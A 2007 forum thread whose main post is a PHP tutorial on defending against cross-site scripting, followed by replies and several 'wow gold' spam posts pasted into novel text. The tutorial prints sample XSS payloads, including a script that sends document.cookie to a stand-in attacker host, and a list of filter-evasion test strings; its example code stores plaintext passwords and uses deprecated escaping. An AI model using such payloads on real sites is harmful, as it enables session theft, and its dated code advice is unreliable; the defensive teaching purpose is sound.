""
All times are GMT +1. The time now is 08:59 PM

Welcome to the
Adept Web Community - Adept Webmaster Discussion Forums
 forums!

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our
free
 community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have not received your registration email message, please check your spam box/junk mail.

Get a FREE domain name!


That's right! You can get a free domain name (or renew existing) by just posting at our forums! For every 100th post you make, we will register a new domain for you! Join our community today!

]   Adept Web Community - Adept Webmaster Discussion Forums > Coding Forums > Tutorials & Code Snippets > PHP

Reply
 
Thread Tools Display Modes
  #1  
Old July 18th, 2007, 01:07 PM
kaisellgren's Avatar
kaisellgren
kaisellgren is offline
Root Administrator
 
Join Date: Jul 2007
Location: Finland
Posts: 532
kaisellgren is on a distinguished road
Default Protecting Against XSS Attacks

Protecting against XSS attacks

You are currently reading my article so you are probably looking for ways to protect your PHP application. In fact, you may have already taken steps to protect your applications against XSS attacks. If you haven't taken any steps to protect against XSS attacks, it's now time to do that.

A general recommendation among web developers is to never trust user input, but protecting against XSS requires more, because any input can be dangerous. Typically you can find XSS vulnerabilities from posts on a forum, email displayed in a browser, an advertisement, stock quotes provided in a feed, and form data. The risk is not just that you trust the input, but that you assume it is safe to display to your users. You are trusted by your users, and XSS attacks exploit that trust.

To understand why displaying such data can be malicious, let's have a look at a simple registration script where people provide their username, password, email and personal statement.

register.html
Code:
<form method="post" action="register.php">
Username: <input type="text" name="username" /><br />
Password: <input type="text" name="password" /><br />
Email: <input type="text" name="email" /><br />
Personal Statement: <input type="text" name="personal" /><br />
<input type="submit" name="submit" value="Register" />
</form>
register.php
PHP Code:
<?php
if (isset($_POST["submit"]))
{
  
$username mysql_real_escape_string($_POST["username"]);
  
$password mysql_real_escape_string($_POST["password"]);
  
$email mysql_real_escape_string($_POST["email"]);
  
$personal mysql_real_escape_string($_POST["personal"]);
  
mysql_query("INSERT INTO members (username,password,email,personal_statement) VALUES ('$username','$password','$email','$personal');");
}
?>
Although we secure our data with mysql_real_escape_string(), we are highly vulnerable to XSS attacks. Think what happens if we dislay our user's Personal Statement in a web page. What happens if the Personal Statement is set to:

Code:
<script>alert('XSS')</script>
If we now display that Personal Statement in a web page, we will get a pop-up with text 'XSS'. This means that our website is highly vulnerable to XSS attacks. An attacker can do anything evilish. Here are some common evil code that attackers put in XSS vulnerable web pages:

Code:
<script>alert('Fuck off and get hell out of my site!')</script>
<script>window.location='http://www.attackerswebsite.com/';</script>
<script>window.location='http://www.attackerswebsite.com/steal.php?cookie_information='+document.cookie;</script>
None of the above codes will be great when executed on your web page. There are a lot you can do with XSS vulnerable web page, those were just some demonstrations.

How to protect against XSS?

As long as you are not going to allow HTML code to be posted on your website, you should be fine when you convert HTML special characters into HTML entities. You can simply use htmlspecialchars() function to do this. Here's a XSS safe version of the registeration script:

register.php
PHP Code:
<?php
if (isset($_POST["submit"]))
{
  
$username htmlspecialchars(mysql_real_escape_string($_POST["username"]));
  
$password htmlspecialchars(mysql_real_escape_string($_POST["password"]));
  
$email htmlspecialchars(mysql_real_escape_string($_POST["email"]));
  
$personal htmlspecialchars(mysql_real_escape_string($_POST["personal"]));
  
mysql_query("INSERT INTO members (username,password,email,personal_statement) VALUES ('$username','$password','$email','$personal');");
}
?>
You don't have to or you should not always use htmlspecialchars() function on every data user submits. It completely depends on what are you going to do with the data. If you EVER output user submited data on browser, you SHOULD use htmlspecialchars(). We probably never output $email data on the browser so we do not have to use htmlspecialchars(). And also, you can use the function htmlspecialchars() when you are going to output the data, you don't have to use htmlspecialchars() at the same moment you insert into your database. If we did not use htmlspecialchars() on our register.php script, then we can use htmlspecialchars() when ever we display user submited data like this:

PHP Code:
<?php
echo htmlspecialchars($personal); // THIS DATA IS XSS SAFE !
?>
Many people do so that they will use htmlspecialchars() function when they are going to output it on the browser. Some people user htmlentities() instead of htmlspecialchars(), but that is not clever. Htmlentities() is slower than htmlspecialchars() and htmlspecialchars() is enough to defend against XSS holes.

Testing if you are vulnerable to XSS

Whenever you have created a page where visitors can post data and it will be displayed on browser, you should take care of XSS. Here I have listed some tricky XSS codes that will tell you whether they successful or failed. If you put all of these codes on your posting form and you will get a message saying 'XSS', then you are vulnerable. If you do not get a message, it does not mean that you are 100% safe from XSS.

Code:
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav    ascript:alert('XSS');">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
If you get something else instead of plain code you are vulnerable to XSS. If you are vulnerable, you must take care of it or you will get in trouble with script kiddies who will mess your website. Read the "How to protect against XSS?" part above to see how to protect yourself.

If you liked this tutorial, please feel free to register at our forums or donate to keep quality tutorials coming. :B
__________________
Kind regards,
Kai Sellgren



Adept Web Community:
Donate | Board Rules | Coding Tutorials

Useful Links:
DownTown Host |Triton CMS | Programming Tutorials
Reply With Quote
  #2  
Old July 18th, 2007, 04:44 PM
Stanislav Palatnik's Avatar
Stanislav Palatnik
Stanislav Palatnik is offline
SuperMan
 
Join Date: Jul 2007
Location: City that never sleeps
Posts: 605
Stanislav Palatnik is on a distinguished road
Idea Great Job

Awesome tutorial Kai. The examples were clear and well written.

I was just reading of a similiar function for Ruby, maybe I'll write it now :B
__________________
Kind regards,
Stanislav Palatnik

Adept Web Community:
Donate | Board Rules | Coding Tutorials



Useful Links:
DownTown Host |Triton CMS | Programming Tutorials
Reply With Quote
  #3  
Old July 18th, 2007, 04:47 PM
kaisellgren's Avatar
kaisellgren
kaisellgren is offline
Root Administrator
 
Join Date: Jul 2007
Location: Finland
Posts: 532
kaisellgren is on a distinguished road
Default

Quote:
Originally Posted by yankees26an View Post
Awesome tutorial Kai. The examples were clear and well written.

I was just reading of a similiar function for Ruby, maybe I'll write it now :B
Heh, glad you like it. Hey, maybe you can create a Ruby version of this
__________________
Kind regards,
Kai Sellgren



Adept Web Community:
Donate | Board Rules | Coding Tutorials

Useful Links:
DownTown Host |Triton CMS | Programming Tutorials
Reply With Quote
  #4  
Old July 23rd, 2007, 03:09 PM
ds316 ds316 is offline
Member
 
Join Date: Jul 2007
Posts: 37
ds316 is on a distinguished road
Default

Just something people should make note of, never use htmlspecialchars on the same string twice. For example, in this case the data is getting escaped before its even in the database (im assuming its goin in the database, hence mysql_real_escape_string), so there's no need to escape it again before it gets sent to the browser.
Reply With Quote
  #5  
Old July 23rd, 2007, 03:49 PM
kaisellgren's Avatar
kaisellgren
kaisellgren is offline
Root Administrator
 
Join Date: Jul 2007
Location: Finland
Posts: 532
kaisellgren is on a distinguished road
Default

Quote:
Originally Posted by ds316 View Post
Just something people should make note of, never use htmlspecialchars on the same string twice. For example, in this case the data is getting escaped before its even in the database (im assuming its goin in the database, hence mysql_real_escape_string), so there's no need to escape it again before it gets sent to the browser.
Yep, usually:

PHP Code:
<?php
$data 
mysql_real_escape_string($_POST['data']);
mysql_query(...); // Inserting into db
$data // fetching data from db
$data stripslashes($data);
$data htmlspecialchars($data);
echo 
$data;
?>
__________________
Kind regards,
Kai Sellgren



Adept Web Community:
Donate | Board Rules | Coding Tutorials

Useful Links:
DownTown Host |Triton CMS | Programming Tutorials
Reply With Quote
Sponsored Links
  #6  
Old November 14th, 2007, 09:31 AM
nahsorhseda's Avatar
nahsorhseda nahsorhseda is offline
Senior Member
 
Join Date: Aug 2007
Posts: 84
nahsorhseda is on a distinguished road
Default

but i dont think u can send scripts from a form ,i mean if u can change the tags into letters ,i use it in most cases
Reply With Quote
  #7  
Old June 29th, 2008, 07:01 PM
elliotthn05 elliotthn05 is offline
Trustworthy Webmaster
 
Join Date: Aug 2007
Posts: 954
elliotthn05 is on a distinguished road
Default

Quote:
Originally Posted by weiwei View Post
这是新加的空白文章1,可以在UBB可视化编辑器中,添加和修改文章内容。
you are just spamming.i guess you are from china.
__________________
Earn Online
Reply With Quote
  #8  
Old July 30th, 2008, 08:12 PM
weiwei weiwei is offline
Webmaster
 
Join Date: Jun 2008
Posts: 324
weiwei is on a distinguished road
She had had many

She had had many a wow gold hint from Mr. Knightley and some from her own heart, as to her deficiency--but none were equal to wow power leveling counteract the persuasion of its being very disagreeable,--a waste of time--tiresome wow power leveling women-- and all the horror of being in danger of falling in with the second-rate and third-rate of Highbury, who wow power leveling were calling on them for ever, and therefore she seldom went near them. But now she made the sudden wow power leveling resolution of not passing their door without going in--observing, as she proposed it to Harriet, that, as well as she could calculate, they were just now quite safe from any letter from Jane Fairfax. weiwei1978123
Reply With Quote
  #9  
Old August 15th, 2008, 04:59 AM
weiwei weiwei is offline
Webmaster
 
Join Date: Jun 2008
Posts: 324
weiwei is on a distinguished road
Here was a change

Here was a change, and wow gold here were claims which could not but operate! She might have disdained him in all the dignity of angry virtue, in the wow gold grounds of Sotherton, or the theatre at Mansfield Park; but he approached her now with rights that demanded different treatment. She must be courteous, and she must be compassionate. She must have a sensation of being honoured, and whether thinking of herself or her brother, she must have a strong wow gold feeling of gratitude. The effect of the whole was a manner so pitying and agitated, and words intermingled with her refusal so expressive of obligation and concern, that to a temper of vanity and hope like Crawford's, the truth, or at least the strength of her indifference, might well be questionable; and he wow power leveling was not so irrational as Fanny considered him, in the professions of persevering, assiduous, and not desponding attachment which closed the interview. weiwei1978123
Reply With Quote
  #10  
Old August 19th, 2008, 01:46 PM
weiwei weiwei is offline
Webmaster
 
Join Date: Jun 2008
Posts: 324
weiwei is on a distinguished road
Here was a change

Here was a change, and wow gold here were claims which could not but operate! She might have disdained him in all the dignity of angry virtue, in the wow gold grounds of Sotherton, or the theatre at Mansfield Park; but he approached her now with rights that demanded different treatment. She must be courteous, and she must be compassionate. She must have a sensation of being honoured, and whether thinking of herself or her brother, she must have a strong wow gold feeling of gratitude. The effect of the whole was a manner so pitying and agitated, and words intermingled with her refusal so expressive of obligation and concern, that to a temper of vanity and hope like Crawford's, the truth, or at least the strength of her indifference, might well be questionable; and he wow power leveling was not so irrational as Fanny considered him, in the professions of persevering, assiduous, and not desponding attachment which closed the interview. weiwei1978123
Reply With Quote
Sponsored Links
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off



All times are GMT +1. The time now is 08:59 PM.
Style By: vBSkinworks